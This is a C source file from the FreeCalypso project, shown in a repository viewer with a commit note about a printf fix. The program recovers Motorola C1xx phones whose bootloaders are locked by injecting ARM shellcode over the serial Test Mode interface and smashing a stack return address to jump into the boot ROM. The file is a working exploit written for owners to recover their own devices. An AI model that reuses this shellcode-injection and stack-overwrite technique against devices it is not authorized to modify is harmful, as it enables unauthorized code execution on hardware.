view rvinterf/lowlevel/tfc139.c @ 1011:6d9b10633f10 default tip

etmsync Pirelli IMEI retrieval: fix poor use of printf() Bug reported by Vadim Yanitskiy <fixeria@osmocom.org>: the construct where a static-allocated string was passed to printf() without any format arguments causes newer compilers to report a security problem. Given that formatted output is not needed here, just fixed string output, change printf() to fputs(), and direct the error message to stderr while at it.
author Mychaela Falconia <falcon@freecalypso.org>
date Thu, 23 May 2024 17:29:57 +0000
parents 6f078c4a5506
children
line wrap: on
line source

/*
 * This program facilitates the recovery of those Compal/Motorola phones
 * whose bootloaders have been maliciously locked down.  It connects
 * to a running Mot C1xx firmware through the RVTMUX interface provided
 * by the latter and uses the Test Mode memory write command (which
 * these firmwares implement just like TI's reference fw) to inject
 * some shellcode and to transfer control to it by overwriting a
 * function return address on the stack.  The injected shellcode then
 * enables the Calypso boot ROM and jumps to it, allowing fc-loadtool
 * to take over from there.
 */

#include <sys/types.h>
#include <sys/errno.h>
#include <stdio.h>
#include <string.h>
#include <strings.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include "../include/pktmux.h"
#include "../include/limits.h"

extern int target_fd;

extern u_char rxpkt[];
extern size_t rxpkt_len;

char *logfname;
FILE *logF;
time_t logtime;
int no_output;	/* for output.c */

int wakeup_after_sec = 1;

/* see ../../target-utils/tf-breakin/payload.S for the source */
static u_char shellcode[114] = {
	0x78, 0x47, 0xC0, 0x46, 0xD3, 0xF0, 0x21, 0xE3,
	0x50, 0x10, 0x9F, 0xE5, 0xF5, 0x00, 0xA0, 0xE3,
	0xB2, 0x00, 0xC1, 0xE1, 0xA0, 0x00, 0xA0, 0xE3,
	0xB2, 0x00, 0xC1, 0xE1, 0x40, 0x60, 0x9F, 0xE5,
	0x05, 0x00, 0xD6, 0xE5, 0x20, 0x00, 0x10, 0xE3,
	0xFC, 0xFF, 0xFF, 0x0A, 0x38, 0x10, 0x8F, 0xE2,
	0x06, 0x20, 0xA0, 0xE3, 0x01, 0x00, 0xD1, 0xE4,
	0x00, 0x00, 0xC6, 0xE5, 0x01, 0x20, 0x52, 0xE2,
	0xFB, 0xFF, 0xFF, 0x1A, 0x05, 0x00, 0xD6, 0xE5,
	0x40, 0x00, 0x10, 0xE3, 0xFC, 0xFF, 0xFF, 0x0A,
	0x10, 0x10, 0x9F, 0xE5, 0x01, 0x2C, 0xA0, 0xE3,
	0xB0, 0x20, 0xC1, 0xE1, 0x00, 0xF0, 0xA0, 0xE3,
	0x02, 0xF8, 0xFF, 0xFF, 0x00, 0x58, 0xFF, 0xFF,
	0x10, 0xFB, 0xFF, 0xFF, 0x02, 0x02, 0x02, 0x4F,
	0x4B, 0x02
};

static unsigned shellcode_load_addr;
static unsigned stack_smash_addr;
static int thumb_entry = 1;

static u_char stack_smash_payload[4];
static int breakin_in_progress;

static char *target_tty_port;
static char *baudrate = "57600";

static void
send_compal_memwrite(addr, payload, payload_len)
	unsigned addr;
	u_char *payload;
{
	u_char pkt[MAX_PKT_TO_TARGET];
	int i, csum, csum_offset;

	pkt[0] = RVT_TM_HEADER;
	pkt[1] = 0x40;		/* old TM3 MEM_WRITE command */
	pkt[2] = addr;
	pkt[3] = addr >> 8;
	pkt[4] = addr >> 16;
	pkt[5] = addr >> 24;
	bcopy(payload, pkt + 6, payload_len);
	csum_offset = payload_len + 6;
	csum = 0;
	for (i = 1; i < csum_offset; i++)
		csum ^= pkt[i];
	pkt[i] = csum;
	send_pkt_to_target(pkt, i + 1);
}

static void
initiate_breakin()
{
	char msgbuf[80];
	unsigned jump_addr;

	sprintf(msgbuf,
	      "Using shellcode load addr 0x%x, stack smash starting addr 0x%x",
		shellcode_load_addr, stack_smash_addr);
	output_line(msgbuf);
	jump_addr = shellcode_load_addr;
	if (thumb_entry)
		jump_addr += 1;
	else
		jump_addr += 4;
	stack_smash_payload[0] = jump_addr;
	stack_smash_payload[1] = jump_addr >> 8;
	stack_smash_payload[2] = jump_addr >> 16;
	stack_smash_payload[3] = jump_addr >> 24;
	output_line("Sending shellcode RAM write");
	send_compal_memwrite(shellcode_load_addr, shellcode, sizeof shellcode);
	breakin_in_progress = 1;
}

static void
send_memcheck_query()
{
	u_char sendpkt[25];

	output_line("Sending GPF MEMCHECK query");
	/* fill out the packet */
	sendpkt[0] = RVT_L23_HEADER;
	sendpkt[1] = 0xB7;	/* system prim */
	sendpkt[2] = 20;
	sendpkt[3] = 0;
	/* send zeros for the timestamp */
	sendpkt[4] = 0;
	sendpkt[5] = 0;
	sendpkt[6] = 0;
	sendpkt[7] = 0;
	/* fixed string with all fields */
	strcpy(sendpkt + 8, "PCO L1  MEMCHECK");
	/* send it! */
	send_pkt_to_target(sendpkt, 24);
}

main(argc, argv)
	char **argv;
{
	extern char *optarg;
	extern int optind;
	int c;
	fd_set fds;

	while ((c = getopt(argc, argv, "a:AB:l:ms:w:")) != EOF)
		switch (c) {
		case 'a':
			shellcode_load_addr = strtoul(optarg, 0, 16);
			continue;
		case 'B':
			baudrate = optarg;
			continue;
		case 'l':
			logfname = optarg;
			continue;
		case 'm':
			/* mimic mot931c.exe */
			shellcode_load_addr = 0x800000;
			stack_smash_addr = 0x837C54;
			/* FALL THRU */
		case 'A':
			thumb_entry = 0;
			continue;
		case 's':
			stack_smash_addr = strtoul(optarg, 0, 16);
			continue;
		case 'w':
			wakeup_after_sec = strtoul(optarg, 0, 0);
			continue;
		case '?':
		default:
usage:			fprintf(stderr,
				"usage: %s [options] ttyport\n", argv[0]);
			exit(1);
		}
	if (argc - optind != 1)
		goto usage;
	if (stack_smash_addr && !shellcode_load_addr) {
		fprintf(stderr, "usage error: -a option required with -s\n");
		exit(1);
	}
	open_serial_port(argv[optind]);
	target_tty_port = argv[optind];
	set_fixed_baudrate(baudrate);

	set_serial_nonblock(0);
	setlinebuf(stdout);
	if (logfname) {
		logF = fopen(logfname, "w");
		if (!logF) {
			perror(logfname);
			exit(1);
		}
		setlinebuf(logF);
		fprintf(logF, "*** Log of TFC139 break-in session ***\n");
	}
	time(&logtime);
	if (stack_smash_addr)
		initiate_breakin();
	else
		send_memcheck_query();
	for (;;) {
		FD_ZERO(&fds);
		FD_SET(target_fd, &fds);
		c = select(target_fd+1, &fds, 0, 0, 0);
		time(&logtime);
		if (c < 0) {
			if (errno == EINTR)
				continue;
			perror("select");
			exit(1);
		}
		if (FD_ISSET(target_fd, &fds))
			process_serial_rx();
	}
}

static void
handle_tm_response()
{
	char msgbuf[80];

	if (!breakin_in_progress) {
		output_line("TM response unexpected at this time");
		return;
	}
	if (rxpkt_len != 4 || rxpkt[1] != 0x40 || rxpkt[2] || rxpkt[3] != 0x40){
		output_line("TM response differs from expected");
		return;
	}
	sprintf(msgbuf, "Sending stack smash write at 0x%x", stack_smash_addr);
	output_line(msgbuf);
	send_compal_memwrite(stack_smash_addr, stack_smash_payload, 4);
	stack_smash_addr += 4;
}

static void
analyze_gpf_packet()
{
	unsigned stackbase, untouched;
	static char format[] =
	  "Name:L1 Stat:%*s Count:%*s Prio:%*s Stack:%x Size:%*s Untouched:%u";
	char msgbuf[80];

	if (rxpkt_len < 17 || rxpkt_len > 128)
		return;
	/* it needs to be a trace packet */
	if ((rxpkt[1] & 0xF0) != 0xA0)
		return;
	/* check the length */
	if (rxpkt[2] + 4 != rxpkt_len)
		return;
	if (rxpkt[3])
		return;
	/* skip timestamp, check src and dest */
	if (strncmp(rxpkt + 8, "SYSTPCO ", 8))
		return;
	/* terminating NUL for sscanf */
	rxpkt[rxpkt_len] = '\0';
	if (sscanf(rxpkt + 16, format, &stackbase, &untouched) != 2)
		return;
	/* success! */
	sprintf(msgbuf,
		"Parsed L1 stack location: base=0x%x, untouched=%u (0x%x)",
		stackbase, untouched, untouched);
	output_line(msgbuf);
	if (stackbase & 3) {
		output_line("Error: stack base address is not word-aligned");
		exit(1);
	}
	untouched &= ~3;
	if (!shellcode_load_addr) {
		if (untouched < sizeof shellcode) {
			output_line("Error: not enough room for shellcode");
			exit(1);
		}
		shellcode_load_addr = stackbase;
	}
	stack_smash_addr = stackbase + untouched;
	initiate_breakin();
}

handle_rx_packet()
{
	if (rxpkt_len == 2 && rxpkt[0] == 'O' && rxpkt[1] == 'K') {
		output_line(
		"Success: target should now be in boot ROM download wait");
		printf("You can now run fc-loadtool -h compal -c none %s\n",
			target_tty_port);
		exit(0);
	}
	switch (rxpkt[0]) {
	case RVT_RV_HEADER:
		if (rxpkt_len < 6)
			goto unknown;
		print_rv_trace();
		return;
	case RVT_L1_HEADER:
		print_l1_trace();
		return;
	case RVT_L23_HEADER:
		print_g23_trace();
		if (!breakin_in_progress)
			analyze_gpf_packet();
		return;
	case RVT_TM_HEADER:
		print_tm_output_raw();
		handle_tm_response();
		return;
	default:
	unknown:
		print_unknown_packet();
	}
}